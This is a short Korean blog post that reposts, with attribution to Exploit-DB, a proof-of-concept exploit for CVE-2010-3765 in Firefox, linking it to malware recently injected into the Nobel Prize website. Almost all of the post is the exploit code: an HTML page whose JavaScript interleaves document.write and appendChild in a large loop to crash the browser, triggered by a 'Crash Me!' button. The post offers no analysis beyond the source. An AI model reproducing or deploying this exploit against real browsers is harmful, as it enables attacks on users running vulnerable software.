Firefox Interleaving document.write and appendChild Denial of Service - CVE-2010-3765

최근 노벨상 사이트에 삽입된 악성코드와 관련된 코드 입니다. 출처 : http://www.exploit-db.com/exploits/15341/

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<html><body>
 <script>
  function getatts(str){
    var cobj=document.createElement(str);
    cobj.id="testcase";
    document.body.appendChild(cobj);
    var obj=document.getElementById("testcase");
    var atts = new Array();
    for(p in obj){
      if(typeof(obj[p])=="string"){
        atts.push(p);
      }
    }  
    document.body.removeChild(cobj);
    return atts;
  }

  function crashme() {
    var tags = new Array("audio", "a", "base");
    for (inx = 0; inx < 0x8964; inx++) {
        for (i = 0; i < tags.length; i++) {
            var atts = getatts(tags[i]);
            for (j = 0; j < atts.length; j++) {
                var html = "<" + tags[i] + " " + atts[j] + "=a></" + tags[i] +
                           ">" + tags[i];
                document.write(html);
            }
        }
    }
  }
</script>
<button onclick="crashme();">Crash Me!</button>
</body></html>
Hugo로 만듦
Jimmy의 Stack 테마 사용 중